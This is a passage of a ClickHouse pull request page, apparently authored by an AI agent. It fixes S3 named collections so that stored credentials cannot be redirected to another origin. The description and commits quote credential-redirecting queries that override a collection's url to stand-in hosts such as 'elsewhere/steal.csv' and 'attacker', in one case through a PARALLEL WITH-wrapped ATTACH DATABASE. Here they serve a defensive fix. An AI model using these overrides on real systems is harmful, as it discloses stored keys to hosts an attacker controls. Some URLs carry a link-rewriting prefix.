Skip to content

Bind an S3 named collection's credentials to the origin it declares - #116260

Closed
groeneai wants to merge 17 commits into
ClickHouse:masterfrom
groeneai:s3-named-collection-destination-binding
Closed

groeneai wants to merge 17 commits into
ClickHouse:masterfrom
groeneai:s3-named-collection-destination-binding

Conversation

@groeneai

@groeneai groeneai commented Aug 25, 2026 •

Copy link
Copy Markdown
Collaborator

Related: #106855 (this is that PR's residual scope; no open issue)

Changelog category (leave one):

  • Bug Fix (user-visible misbehavior in an official stable release)

Changelog entry (a user-readable short description of the changes that goes into CHANGELOG.md):

A query that overrides the url of an S3 named collection can no longer redirect the collection's own stored credentials to a different origin. Overriding url within that origin keeps working, as does overriding it when the collection stores no credential that can authenticate anywhere (half a key pair signs nothing), marks its url OVERRIDABLE, or the query supplies its own credentials. A collection storing credentials but no url now authorises no destination, so ENGINE = S3(collection) on one is refused; a table persisted earlier still loads with a warning, while a database persisted earlier loads anonymously, because there each table name picks its own destination. A collection whose stored url is relative is unchanged: its origin comes from the query-level s3_base setting. Applies to the s3 table function, the S3/S3Queue and S3-backed lake engines, S3 backups and the S3 database. Also, a PARALLEL WITH-wrapped ATTACH DATABASE no longer bypasses remote_url_allow_hosts in the PostgreSQL and MaterializedPostgreSQL database engines.

Description

url is overridable by default and nothing tied it to a collection's credential keys, so a user holding
only NAMED_COLLECTION could write SELECT * FROM s3(prod_s3, url = 'http://elsewhere/...'): the
destination moved, the stored credentials stayed attached, and SigV4 signed for the new host. Reading
those secrets needs SHOW_NAMED_COLLECTIONS_SECRETS, so this turned permission to use a collection
into disclosure of its keys.

S3 now validates at each of the three seams that build a client from a collection: a secret that came
from the collection rather than the query may only travel to an origin (scheme, host, port) the
collection declares, across both auth layers. Comparing origins rather than refusing every override
keeps it compatible: the suite overrides url at 21 sites, all within their own origin. A grandfathered
S3 database with no url prefix loads anonymously: its table names are full URLs, so no single
destination exists.

The same mismarking reached another engine. Three external database creators keyed their
replay exemption on args.internal, which PARALLEL WITH also sets for a user's own statement, so a
wrapped ATTACH DATABASE looked like a metadata replay, which for both PostgreSQL engines skipped
remote_url_allow_hosts and sent a collection's stored password to the forbidden host in cleartext.
Those sites now read loading_stored_metadata, set only by the startup loader; RESTORE DATABASE
creates at mode CREATE and never took the exemption.

Known gaps. A relative stored url, or one no URL parser accepts (a literal % not followed by two
hex digits, as in 50%off.csv), declares no origin, so a collection storing credentials with one stays
unbound: deriving an origin from s3_base would compare two user-supplied values, and refusing
would break most existing collections. Under the non-default
compatibility_s3_presigned_url_query_in_path = 1 the replay warning leaves the first X-Amz-* value
unmasked in the log. Non-S3 collection families are out of scope.


Workflow [PR]
Sync PR [sync-upstream/pr/116260]

groeneai and others added 6 commits August 24, 2026 09:20
A named collection may store a destination together with static credentials:

    CREATE NAMED COLLECTION prod_s3 AS
        url = 'https://my-bucket.s3.amazonaws.com/data/',
        access_key_id = '...', secret_access_key = '...';

`url` is overridable by default and nothing tied it to the sibling credential
keys, so a user holding only NAMED_COLLECTION could write

    SELECT * FROM s3(prod_s3, url = 'http://elsewhere/steal.csv');

and the collection's own credentials went to a host the user chose: the
access_key_id in cleartext in the SigV4 Credential= field, plus a valid
signature over an attacker-chosen canonical request. Reading a collection's
secret values otherwise requires a separate SHOW_NAMED_COLLECTIONS_SECRETS
grant (StorageSystemNamedCollections.cpp), so this converted permission to use
a collection into disclosure of its keys.

Merged ClickHouse#106855 hardened server-managed and ambient credentials and its scoping
statement deliberately left operator-supplied static keys alone, which is what
this path uses.

S3 now calls a destination-binding validator once per seam, after the seam has
finished resolving credentials and the destination URL: when a secret still
present in the effective authentication came from the collection rather than
from the query, the request origin (scheme, host, port) must be one the
collection itself declares.

Three seams need their own call. The table function and engine path covers
s3(), the S3 engine, S3Queue and the S3 data lakes. Backups need their own
because BackupInfo hand-copies the NAMED_COLLECTION permission check rather
than going through findOverrideForbiddingKey. DatabaseS3::parseArguments needs
its own because getTableImpl rebuilds positional s3(url, key, secret)
arguments which reach fromAST, by which point the collection and its per-key
override provenance are gone. The rule is deliberately not placed in the
shared findOverrideForbiddingKey seam: BackupInfo bypasses it, and a global
key table is incomplete by construction.

Both authentication layers are classified separately, since no_sign_request
suppresses SigV4 only while a gcp_oauth HTTP client sends an Authorization
bearer header regardless. The binding releases only on complete replacement of
a family's secret inputs: S3 clears an inherited session_token only when both
static keys were overridden, so a query overriding access_key_id alone leaves
the stored secret_access_key signing.

Comparing origins rather than refusing every url override is what makes this
backward compatible. Re-pointing the path of a credentialed collection is the
feature's most common legitimate use: the stateless suite alone holds 319 such
override sites, every one of them staying within the collection's own origin.
A relative stored url declares no origin at all, which is the shape
StorageObjectStorageConfiguration::initialize persists when s3_base resolution
is materialized back into the engine args, so those tables still attach after
DETACH with no s3_base set.

The rule covers both SQL-defined and config-defined collections, unlike NATS,
which restricts its own rule to SourceId::CONFIG. The privilege boundary is
identical for a SQL collection: a NAMED_COLLECTION grantee still cannot read
its values without SHOW_NAMED_COLLECTIONS_SECRETS.

Scope is S3. Azure, Web with headers, MySQL, PostgreSQL, MongoDB, Redis,
ArrowFlight, YTsaurus and Kafka share the pattern with different
effective-credential semantics and are not covered here. Flipping the
allow_named_collection_override_by_default default and re-validating
RemoteHostFilter against the post-override host are both out of scope.

No setting default changes, so there is no SettingsChangesHistory.cpp entry.
The check keyed on `url` having been overridden, which left three ways past it.
A collection that stores credentials but no `url` had no recorded before-value,
so the guard returned with the stored keys still attached and the credential was
sent to a query-chosen host; a `filename` override reaches the same destination
by a different key. The authorised destination is now derived from the
collection's own definition whether or not an override happened, and a
collection that names no destination authorises none.

Under `gcp_oauth` the stored AWS keys are inert: `getCredentialsProvider`
installs an anonymous provider and skips the STS wrapper on that value. The
provenance test now returns the GCP verdict instead of falling through to those
keys, so a query supplying a complete ADC triple is no longer refused. This
matches `hasEffectiveCredentials()`, which already returned at that branch.

Restoring a lightweight snapshot builds a second reader for an endpoint read
from the backup's own metadata header. It carried the collection's credentials
with no destination check, so it is checked too.

The compatibility arms of the test asserted only the absence of the refusal,
which reports success on any downstream failure and cannot detect an over-broad
check. They now assert a row read back from the collection's own origin, or,
where an arm's credentials cannot read anywhere, that a request was issued.
Verified by making the refusal unconditional: every such arm then fails.
The destination-binding check treated a definition read back from metadata
exactly like a fresh query. A table or database persisted before the check
existed, whose stored DDL sends a credentialed collection's keys to an origin
the collection does not declare, therefore failed to load after upgrade, and
for ENGINE = S3 that stops the server rather than leaving one table unreadable.

Thread the loading mode to the validator, assigned before initialize() parses
the definition. A short ATTACH replays a stored statement verbatim at
strictness ATTACH, so isLoadingFromExistingMetadata alone is too narrow; pair
it with attach_short_syntax as StorageBuffer and StorageDistributed do, and use
internal && mode >= ATTACH for the database seam as registerDatabaseDataLake
does. A replayed definition is logged and allowed, matching getClient and
DatabaseDataLake::initializeOrLeaveUnavailable, under the same server setting
s3_load_table_anonymously_if_credentials_restricted. The backup seams pass
false explicitly: a BACKUP or RESTORE statement names its own destination.

Also disclose in the changelog that a collection storing credentials but no url
now authorises no destination, which refuses ENGINE = S3(collection) on one.
That shape previously worked and sent the stored keys to a query-named origin.

Re-oracle the no_sign_request arm of the regression test. It accepted any
S3-level outcome, but those stored keys are valid for the collection's own
origin, so a silently re-enabled signature would have read the row and stayed
green. It now captures the request and asserts the key is absent from the
bytes, with a signing control proving the capture can see a key at all.
…the log

The replay exemption keyed on a predicate narrower than its own principle: a
definition read back from storage was not chosen by whoever loads it, yet only
FORCE_ATTACH/FORCE_RESTORE and a short ATTACH were recognised. RESTORE of a table
and Replicated-database lost-replica recovery both re-run a stored CREATE at
SECONDARY_CREATE, which is neither, so a pre-existing cross-origin definition made
the restore fail and stopped a recovering replica from rejoining. Both routes carry
their own discriminator, and registerStorageMergeTree already consumes the same
trio for the same reason.

The warning on that path formatted the stored and effective urls verbatim. Poco
keeps userinfo and the query string, so a `user:pass@host` or presigned collection
url wrote its secret to the server log, which sits below the
SHOW_NAMED_COLLECTIONS_SECRETS grant that reading the collection needs. It now
names the authorised origin, which cannot carry either, and masks the destination
with the pair FunctionSecretArgumentsFinder applies.

The lightweight-snapshot reader takes its destination from the backup's own
metadata header, so it is a replay as well, as its own comment already said.

Measured: the DatabaseS3 seam has no equivalent hole. Its startup route loads at
FORCE_ATTACH with internal set, and its RESTORE route cannot reach the check at
all because getCreateDatabaseQuery rewrites the collection reference into
positional arguments before the backup captures it.
… endpoint

The lightweight-snapshot reader takes its endpoint from the backup file's own
header, so it is untrusted input rather than a definition this server had already
accepted. Marking it as a metadata replay turned the check that exists to cover
that reader into a log line under a server setting that defaults to on: a wrong
value there would send a collection's own access key, and a signature over an
attacker-chosen request, to a host named by a user-supplied file.

The four predicates that mark a genuine replay had no coverage that re-runs. They
are only reachable across a server restart or a Replicated database building a
replica from Keeper metadata, so they get one integration test rather than a
stateless one. Each was proved live by removing it and observing which single
assertion fails: the database predicate stops the server from starting, the
storage one blocks a recovering replica, the queue one leaves one table
unloadable. A fresh cross-origin query stays refused in every case, so the
exemption cannot be widened into a general amnesty without the test noticing.

The warning that reports a replay redacts two independent values, and the
existing arm exercised only one of them; the second arm puts the credential in
the effective url instead of the stored one.
The flag marks a definition as replayed from this server's own metadata, which
storage and database creators read to skip validation that only a freshly
supplied definition needs. It has no parser writer and no formatter emitter, so
it is purely interpreter-derived and no SQL query can produce it: a genuine
short `ATTACH TABLE t` is re-derived from the query's own shape after
deserialization. The `clickhouse_json` dialect nevertheless read it straight off
the wire, and the pre-existing rejection was scoped `if (!attach)`, so an
`ATTACH TABLE ... ENGINE = S3(...)` carried a forged flag past it. Rejecting the
flag on every payload narrows JSON expressiveness to exactly SQL
expressiveness, so it cannot break a round-trip, and it closes the forgery for
every consumer of the field rather than one.

Its three siblings in the same guard block are parser-settable, which is why
they keep the `!attach` scoping.

With the flag no longer forgeable, `registerDatabaseS3` can key its replay
predicate on it as the storage creators and `DatabaseBackup` already do, so a
short `ATTACH DATABASE d` loads a stored statement while
`ATTACH DATABASE d ENGINE = S3(...)` stays fail-closed.

Co-Authored-By: Claude Fable 5 <[email protected]>
@groeneai groeneai added can be tested Allows running workflows for external contributors groeneai-origin-oranjeai PR origin: delegated from the OranjeAI sibling fleet labels Aug 25, 2026
@groeneai

Copy link
Copy Markdown
Collaborator Author
Internal second-model review — 6 fix rounds, published at the round cap with two known gaps

An independent model reviewed this diff cold at every round; I adjudicated its findings against the
recorded evidence. Final round: 8 findings, all AGREE, no disagreements.

Two gaps I could not close here, both now stated in the description rather than papered over:

❌ A stored url that no URL parser accepts (a literal % not followed by two hex digits, e.g. a
50%off.csv key) yields no comparable origin, and the override is then allowed. Poco throws
URISyntaxException for such a value, both parse attempts fail, and the check returns without
refusing. This is reachable from an ordinary key name, not just a contrived one. The changelog
entry is scoped accordingly.

❌ Under the non-default compatibility_s3_presigned_url_query_in_path = 1, S3::URI folds the
query into the path (? becomes %3F), and the shared presigned masker scans only literal ?/&,
so the first X-Amz-* value reaches the replay warning unmasked. Later parameters still mask. The
masker limitation is pre-existing (same code path as FunctionSecretArgumentsFinder), but this PR
adds a log site that inherits it, so it is worth stating.

Both are tracked and will be fixed separately. I chose to publish with the promise narrowed rather
than ship a changelog claiming an unconditional guarantee the code does not give.

⚠️ Three test-liveness gaps: the attach_short_syntax disjunct in the S3 database creator, three
of the four replay terms for the S3Queue creator, and the full-definition ATTACH leg for the
S3 storage creator are each unarmed — deleting them leaves every assertion green. The shipped
predicates are correct (they mirror registerStorageMergeTree), but the proofs are missing.

💡 Three comment-accuracy nits: the validateS3CollectionDestinationBinding header says a relative
stored url authorises nothing when the code allows it; the provenance helper groups
use_environment_credentials with keys collections cannot carry, though it is excluded for a
different (correct) reason; and the new is_metadata_replay comment credits
is_loading_from_existing_metadata with covering RESTORE, which the separate
is_restore_from_backup term actually does.

Overlap with #114171. That PR (open, not merged) hardens the same
ASTCreateQuery::readJSON field and goes further, dropping attach_short_syntax from writeJSON
too. Master today still accepts a forged flag on an ATTACH payload, so the one-line rejection here
is still load-bearing, but the two will conflict textually and #114171's line is the better one --
happy to drop this hunk and rebase on it if that lands first.

@clickhouse-gh clickhouse-gh Bot closed this Aug 25, 2026
@clickhouse-gh clickhouse-gh Bot reopened this Aug 25, 2026
@clickhouse-gh

clickhouse-gh Bot commented Aug 25, 2026 •

Copy link
Copy Markdown
Contributor

Workflow [PR], commit [4cd1dcc]

Summary: ❌

job_name test_name status info comment
Stress test (amd_debug) FAIL
Logical error: 'Inconsistent AST formatting: the query: (STID: 1941-26fa) FAIL cidb, issue

AI Review

Summary

This PR hardens S3 named collections by binding collection-supplied credentials to the origin declared by the collection and fixes the PARALLEL WITH replay-marker bug for the S3 and PostgreSQL database paths. I found one remaining correctness gap in DataLakeCatalog: a fresh ATTACH DATABASE still skips eager catalog validation, so the new "user ATTACH DATABASE stays fail-closed" contract does not actually hold there.

Findings

⚠️ Majors

  • [src/Databases/DataLake/DatabaseDataLake.cpp:1684-1702] The new replay distinction is only applied to is_loading_from_existing_metadata; lazy_init still becomes true for every ATTACH DATABASE and any PARALLEL WITH child. A fresh ATTACH DATABASE ... ENGINE = DataLakeCatalog(...) therefore skips initializeOrLeaveUnavailable, persists the definition, and defers blocked-host / restricted-credential failures until first use instead of rejecting the user-supplied definition up front.
    Suggested fix: drive lazy_init from actual replay / restore carriers rather than args.create_query.attach || args.internal, and add a focused regression test for blocked-host ATTACH DATABASE plus PARALLEL WITH CREATE DATABASE on DataLakeCatalog.
Tests

⚠️ Add a focused DataLakeCatalog regression that proves a blocked-host ATTACH DATABASE ... ENGINE = DataLakeCatalog(...) and the same CREATE DATABASE ... PARALLEL WITH ... path fail immediately, instead of only failing on first use after metadata is already written.

Final Verdict

⚠️ Changes requested.

LLVM Coverage Report

Measured on commit 4cd1dcc.

Metric Baseline Current Δ
Lines 88.40% 88.40% +0.00%
Functions 92.00% 92.00% +0.00%
Branches 80.70% 80.70% +0.00%

Changed lines: Changed C/C++ lines covered: 191/205 (93.17%) · Uncovered code

Full report · Diff report

@clickhouse-gh clickhouse-gh Bot added the pr-bugfix Pull request with bugfix, not backported by default label Aug 25, 2026
@groeneai

Copy link
Copy Markdown
Collaborator Author
Pre-PR validation gate (click to expand)
# Question Answer
a Deterministic repro? Yes. A socket capture listening at the overridden origin, run on demand against both binaries; the oracle is the refusal message plus whether the access_key_id literal appears in the captured bytes.
b Root cause explained? Yes. url is overridable by default (allow_named_collection_override_by_default) and findOverrideForbiddingKey decides per key, so nothing tied the destination to the sibling credential keys; the override moved the origin and the SigV4 signer signed for the new host.
c Fix matches root cause? Yes. It adds the missing link between destination and credential provenance, at the seams that own S3 authentication, and it keys on the resolved destination rather than on which key a query happened to name. No widened bound, no no-random-* tag, no symptom guard. No new setting and no new error code.
d Test intent preserved / new tests added? New test 04627_named_collection_s3_destination_binding, 24 arms covering the refusals and every preserved allowance, so the compatibility carve-out is pinned as tightly as the security property. The allowed arms assert a real round trip (a row read back from the collection's own origin) or, where the arm's credentials cannot read anywhere, that a request was issued at all; asserting merely the absence of the refusal would let an over-broad fix pass. Liveness was proved by making the refusal unconditional: every allowed arm then fails; separately, removing a replay route from the predicate reddens exactly the arm for that route and leaves the fresh-query arms unmoved. The no_sign_request arm now captures the request and asserts the stored access_key_id is absent from the bytes, with a signing control in the same harness that must show the key, so "no key on the wire" cannot also mean "nothing reached the listener". Two masking arms, one per redacted value (the origin compared against, and the destination reported); each reddens only under a mutation of its own redaction. The four predicates that mark a stored-definition replay are covered by one integration test in test_s3_credentials_hardening, because those routes need a server restart or a Replicated database building a replica from Keeper metadata; removing each predicate reddens one named assertion and leaves the fresh-query control unmoved. No existing test weakened.
e Both directions demonstrated? Yes. The new test fails on master and passes here, and the diff is exactly the refusal arms flipping while every compatibility arm holds. The capture additionally shows the access_key_id present in the request before and absent after, so the leak itself is closed, not just the error code changed.
f Fix is general across code paths? One shared predicate called from three seams: the table function and S3 engine (which also covers S3Queue, Iceberg/Delta/Hudi S3 and StorageS3Configuration::fromNamedCollection), backup destinations, and DatabaseS3::parseArguments. The latter two are not reachable from the first: BackupInfo hand-copies the permission check, and getTableImpl rebuilds positional s3() arguments that lose per-key provenance. Within the backup seam the lightweight-snapshot reader is a second destination, taken from the backup's own metadata header; it is checked fail-closed, since that header is untrusted input rather than a definition this server accepted earlier. Deliberately not placed in the shared findOverrideForbiddingKey, which BackupInfo bypasses. Each seam was confirmed genuinely reached with a temporary per-seam probe, removed before commit. Every route that replays a stored definition is marked at both storage seams, using the same is_restore_from_backup plus isRecoveryFromStoredMetadata conjunction registerStorageMergeTree uses; the DatabaseS3 seam was measured rather than assumed and needs no widening, because its startup route already loads at FORCE_ATTACH and its restore route never carries a collection.
g Fix generalizes across inputs (params/datatypes/wrappers)? The predicate is per authentication family across both auth layers, and releases per secret input. Arms: static keys, partial static override, STS role_arn, gcp_oauth with the ADC triple, gcp_oauth with static keys alongside a complete ADC replacement, gcp_oauth with no_sign_request = 1, partial ADC override, no_sign_request with static keys, credential-free, explicit OVERRIDABLE, same origin, a collection storing no url at all, filename overrides, relative stored url, a persisted cross-origin definition, and a fresh query against that same collection. Origins are compared as parsed URI fields (scheme and host case-insensitive, plus port, with the scheme's well-known port substituted when none is written), so archive :: syntax, presigned query parameters and scheme mappings cannot smuggle a different host.
h Backward compatible? (maintainer-approved exception only) Yes, and this is the whole design. Refusing every url override would break the 21 in-tree sites that override url on a named collection; the security and compatibility boundaries coincide at the origin, so only destinations outside the origin the collection itself declares are refused. Explicit OVERRIDABLE still wins, credential-free collections keep full freedom, a query that replaces a whole credential family keeps full freedom, and metadata persisted by s3_base resolution still attaches. A definition read back from persisted metadata is logged and allowed rather than refused, under the existing s3_load_table_anonymously_if_credentials_restricted, because refusing one at startup stops the server instead of leaving one object unreadable. The one deliberate break is a collection storing credentials but no url, which now authorises no destination; it is named in the changelog entry. No setting default changes, hence no SettingsChangesHistory.cpp entry.
i Invariants and contracts preserved? The validator runs after each seam's credential normalization, so it neither duplicates nor drifts from #106855's clearing logic, and there is no double refusal. It only reads, and throws before any client is constructed, so no half-built state exists on the error path. Server-supplied request auth counts toward "is this request authenticated" but never toward provenance, which is what keeps credential-free collections working. The metadata-replay flag defaults to false, so any seam that does not set it is treated as a fresh query, and it is assigned before initialize parses the definition; initialize does not read it and initializeFromParsedArguments does not copy over it. The redaction helper takes its argument by const reference and masks a copy, so no caller's URL is mutated, and the origin rendered into the message cannot carry userinfo or a query string by construction.

Session id: cron:clickhouse-impl-slot-40:20260824-103002

@groeneai

Copy link
Copy Markdown
Collaborator Author

cc @alesapin @SmitaRKulkarni, could you review this? A named collection's stored S3 credentials were not tied to the destination it declares, so overriding just url sent them, and a SigV4 signature, to a host of the caller's choosing while reading the secrets themselves needs a separate grant; this binds a collection-supplied secret to the origin the collection declares, at the three seams that build an S3 client from a collection, with the two known gaps listed in the description.

The `catch (...)` around the `S3::URI` construction in `declaredOrigin` exists
so that a value `S3::URI` rejects is retried with a plain `Poco::URI`; the
handler branches on whether the parse succeeded and never inspects the
exception. `check_catch_all` cannot see that distinction and reported the
handler as silently swallowing, so state the invariant in an `Ok` comment,
which is the suppression form the checker documents and the dominant in-tree
idiom for it.

Comment only: stripping comments and whitespace from the file before and after
this change yields the same digest, so no code token moved.
The header said a collection with no origin, including a relative url whose
origin comes from s3_base, "authorises none". The validator instead returns
early when declaredOrigin() yields nullopt, so those collections are not bound
at all. Since this helper is the source of truth for the invariant, a reader
trusting the old wording would conclude s3_base-backed collections are covered.

Measured on a local server with a capture listener at the redirected origin: on
a collection storing credentials with a relative url, the stored key is signed
and sent to an attacker-chosen host both via a url override and, more directly,
with no url override at all, because s3_base is itself a query-level setting.

Deriving the authorised origin from s3_base does not fix that. Built as a probe:
it closes the url-override arm and leaves the no-override arm leaking 21 of 21
signed requests, because the effective url is already resolved against the same
setting, so the comparison reads one user-supplied value on both sides. A real
fix needs an origin the query cannot set, which is a design change.

Refusing the unbound case instead would break compatibility: 16 of the 24 test
collections declaring a url use a relative one, two of them with stored
credentials (04626_s3_base_setting.sh, 04070_url_base_setting.sh).

Comment only, no behaviour change. The changelog gains the same qualification.
@clickhouse-gh

clickhouse-gh Bot commented Aug 25, 2026 •

Copy link
Copy Markdown
Contributor

Build profile diff (arm_release)

Comparing 4cd1dcc45 with master e9fc4b47c (stripped binary size, per-symbol sizes and ThinLTO time; compile times per translation unit against the most recent warmup build that recompiled it).

✅ No significant changes.

Binary sizes
Binary Master PR Δ
programs/clickhouse-stripped 712.33 MiB 709.29 MiB -3.04 MiB (-0.43%)

Only the stripped binary is compared: the official master build keeps debug symbols while PR builds strip them, so the other binaries differ by construction.

Object file sizes

38 object files changed (+67.18 KiB total), 0 added.

Object file Master PR Δ
src/CMakeFiles/dbms.dir/Storages/ObjectStorage/S3/Configuration.cpp.o 422.92 KiB 460.34 KiB +37.42 KiB (+8.85%)
src/CMakeFiles/dbms.dir/Storages/ObjectStorage/registerStorageObjectStorage.cpp.o 1.29 MiB 1.31 MiB +18.16 KiB (+1.38%)

737 more object files are built by the master warmup baseline only (it builds every object-file target, a pull request build only clickhouse-bundle) and not compared.

Compile time of recompiled translation units

166 translation units recompiled, 1429 s compile time in total, 166 of them have a recent master baseline.

Job report

…f_credentials_restricted

The setting's description covered only the case it was written for: a stored
definition resolving the server's own ambient credentials, which is loaded
without them, with an anonymous client, leaving the object inaccessible.

This branch also consults the setting at
Storages/ObjectStorage/S3/Configuration.cpp:282 for a different case, with a
different effect. There the credential is the named collection's own stored key
being sent to a destination the collection does not authorise, so there is no
ambient identity to drop: the object keeps loading with that key and the
destination is only logged as a warning. Reached with is_metadata_replay from
three seams (registerStorageObjectStorage.cpp:58, registerQueueStorage.cpp:56,
DatabaseS3.cpp:364), so it covers the S3 and S3Queue engines, the S3-backed lake
engines and the S3 database; the two backup seams pass false by design and throw
instead.

An operator reading the generated docs would otherwise conclude that enabling
the setting drops the credential in this case too, which it does not.

The generated pages are produced by the nightly docs-autogen bot and
ci/jobs/docs_job_mintlify.py rejects direct edits to a generated region, so
this source string is the only place to change.
…emption hole it exposed

The flaky check failed the new test with "Test runs too long (> 180s)" on
amd_msan (195-216s), amd_tsan (183-189s) and amd_asan_ubsan (299-321s).
Attribution is direct: the test is added by this pull request, absent from
master, and every one of its 72 CIDB failure rows in 30 days is on this pull
request.

The cost is process startup, not query work. The test spawned 126
clickhouse-client processes; a timing shim measured 21.7s of the 26.0s debug wall
clock inside the client, 16.4s of it the startup floor. That floor is 0.13s per
process on debug and 0.92s on ASAN, so those spawns account for 116s of the
141.7s ASAN client time. No single query is hot: the slowest is 2.09s and the top
twelve all sit between 1.45s and 2.09s. There was nothing to speed up, only
something to stop doing 126 times.

So batch the statements whose position does not matter - collection and table
fixtures, the log-masking prologues, SYSTEM FLUSH LOGS, the trailing cleanup -
into single invocations. Every assertion arm keeps an invocation of its own: an
arm's stdout is its oracle, and a multi-statement query stops at the first error,
which is what the refusal arms read. Order is preserved where it carries
meaning, in particular CREATE TABLE before ALTER NAMED COLLECTION SET
access_key_id, the upgrade shape the compatibility arms exercise. 126
invocations become 25; debug wall clock goes 26.11s to 9.01s.

The long tag was rejected rather than overlooked: it exempts the cap but drops
the test from Fast test and cuts flaky-check repeats to about a tenth, and
no-flaky-check disables the only mode that enforces the ceiling. Both discard
coverage on a security test to silence a measurement whose subject is removable
work.

Verifying that the faster test can still fail turned up a real hole in the
compatibility exemption this pull request adds. It classified a definition as a
stored-metadata replay when args.internal was set and the mode was at least
ATTACH, and a user query can satisfy both: PARALLEL WITH executes its children
with QueryFlags{.internal = true} and the parser accepts the clause after any
statement, so

  ATTACH DATABASE d ENGINE = S3(coll, url = 'http://attacker/')
      PARALLEL WITH CREATE DATABASE sink ENGINE = Memory

reached the exemption. Unwrapped that statement is refused with "Override not
allowed for 'url'". Wrapped, it was accepted, the database was created with the
foreign origin stored, and touching it signed a request with the collection's own
key: a capture listener recorded 682 bytes carrying
"Credential=AKIAIOSFODNN7EXAMPLE/.../s3/aws4_request" on a HEAD request.

A probe compiled into the classifier shows why those fields cannot separate the
cases. A genuine startup replay presents internal=true, mode=2,
attach_short_syntax=false; a plain fresh ATTACH presents false, 2, false; the
wrapped one presents true, 2, false, identical to the replay. internal means "not
issued directly by the user", which is weaker than "this definition already
exists on disk", and only the latter earns more trust than a fresh query gets.

So read a marker only the startup path sets.
InterpreterCreateQuery::load_database_without_tables has exactly one setter in
the tree, in loadMetadata.cpp, and no SQL reaches it. Carry it to the database
factory as Arguments::loading_stored_metadata and have DatabaseS3 read that. The
two other factories testing args.internal are left alone: they are outside this
pull request and decide something else.

Both directions verified on one build. The wrapped attach is refused and no
database is created, while four cross-origin databases stored before the change
still load on restart, so the compatibility path still works. The regression arm
asserts the refusal and that nothing was created, the second being load-bearing
because the refusal precedes creation; reverting the classifier to args.internal
flips exactly those two reference lines and nothing else. Two further mutants
confirm the batched test still fails when it should: disabling the refusal
diverges at line 2 on the oracle rather than on a timeout, and disabling the
replay exemption flips the compatibility arms and all three text_log warning
arms, which are the blocks whose fixtures moved.
@groeneai

Copy link
Copy Markdown
Collaborator Author

Flaky-check timeout fixed, and a hole it exposed in this PR's own compatibility path

40baa85 (was 31f5cd87).

The failure. Three flaky check legs failed 04627 with Test runs too long (> 180s): msan
195-216s, tsan 183-189s, asan_ubsan 299-321s. Mine: the test is added here, absent from master, and
all 72 of its CIDB failure rows in 30 days are on this PR.

Cost was process startup, not query work. A timing shim measured 126 clickhouse-client spawns
per run, 21.7s of the 26.0s debug wall clock inside the client, 16.4s of it the startup floor. That
floor is 0.13s on debug and 0.92s on ASAN, so those spawns account for 116s of the 141.7s ASAN client
time. The slowest single query is 2.09s and the top twelve are all 1.45-2.09s, so there was nothing to
speed up, only something to stop doing 126 times.

Batched the statements whose position does not matter; every assertion arm keeps its own invocation,
since an arm's stdout is its oracle and a multi-statement query stops at the first error. 126
invocations -> 25, debug 26.11s -> 9.01s, reference unchanged.

I did not use long or no-flaky-check. long exempts the cap but drops the test from Fast test and
cuts flaky-check repeats to about a tenth; no-flaky-check disables the only mode enforcing the
ceiling. Both would discard coverage on a security test to silence a measurement whose subject is
removable work.

Checking the faster test could still fail turned up a real hole in this PR. The compatibility
exemption keyed on args.internal plus mode >= ATTACH, and a user query satisfies both, because
PARALLEL WITH runs its children with QueryFlags{.internal = true}:

ATTACH DATABASE d ENGINE = S3(coll, url = 'http://attacker/')
    PARALLEL WITH CREATE DATABASE sink ENGINE = Memory

Unwrapped, that is refused with Override not allowed for 'url'. Wrapped, it was accepted, the
database was created with the foreign origin stored, and touching it signed a request with the
collection's own key: a capture listener recorded 682 bytes carrying
Credential=AKIAIOSFODNN7EXAMPLE/.../s3/aws4_request. Exactly the leak this PR exists to stop,
through its own new exemption.

A probe in the classifier shows why those fields cannot separate the cases. Startup replay presents
internal=true, mode=2, attach_short_syntax=false; a plain fresh ATTACH false, 2, false; the wrapped
one true, 2, false -- identical to the replay. internal means "not issued directly by the user",
weaker than "this definition already exists on disk", and only the latter earns the exemption.

Fix: read load_database_without_tables, which has one setter in the tree (loadMetadata.cpp) and is
unreachable from SQL, carried to the factory as Arguments::loading_stored_metadata. The two other
factories testing args.internal are untouched, being outside this PR.

Both directions on one build: the wrapped attach is refused and no database is created, while four
cross-origin databases stored before the change still load on restart. The new arm asserts the refusal
and that nothing was created; reverting the classifier to args.internal flips exactly those two
reference lines and nothing else. Two further mutants confirm the batched test still fails when it
should -- disabling the refusal diverges at line 2 on the oracle rather than on a timeout, and
disabling the replay exemption flips the compatibility arms and all three text_log warning arms.

Known gaps, unchanged. The liveness gaps disclosed at publication still stand, plus per-component
arms for the AWS and ADC credential families: shipped behaviour is correct in each, the proofs are
missing, and they need new integration fixtures rather than a timeout fix. On origin-changing
redirects: out of scope here and not newly introduced. This diff touches no line of
PocoHTTPClient.cpp or Client.cpp, remote_host_filter.checkURL runs on every 307 hop
(PocoHTTPClient.cpp:685), and the loop is identical for a user's own explicit keys.

Squashed to one commit; the branch had grown past ten.

At 40baa85 the flaky check still failed the new test with "Test runs too long
(> 180s)" on amd_asan_ubsan, 6 of 7 runs at 180.5-201.3s, while the other four
sanitizer legs passed 50/50 at 82-88s.

Two things cost the time. Process startup: the test started 63 processes per run,
11 of them clickhouse extract-from-config issued by shell_config.sh, so 52 were
its own client invocations, and an ASAN client start costs about 0.46s solo and
close to 2.2s under that job's load. The assertion arms are now queued and run as
one multi-statement invocation delimited by a marker, with --ignore-error so a
failing statement reports inline instead of ending the invocation, and each arm's
classifier reads only its own slice. That takes the test to 28 process starts.

One arm: in all 9 runs the leg's query_log holds, the slowest statement is the
role_arn arm against 127.0.0.1:11112, from 1.60s to 16.07s and 64.79s in total,
which is 20.4% of all server-side time and the largest source of run-to-run
variance. Nothing serves that object and s3_retry_attempts defaults to 500, so
the request retries until it gives up. The two sibling arms in the same test
already cap it and land at 0.60s and 1.97s in those same runs, so this arm now
carries the same cap.

That arm's oracle could not fail: it matched the needle "role" against the
client's output, and the client echoes the failing statement, so "role_arn = ..."
in the statement text always matched. It now needles S3_ERROR, which is what the
query_log records for that arm in 9 of 9 runs and which cannot occur in the
statement text. And because batching merges the error stream in for the refusal
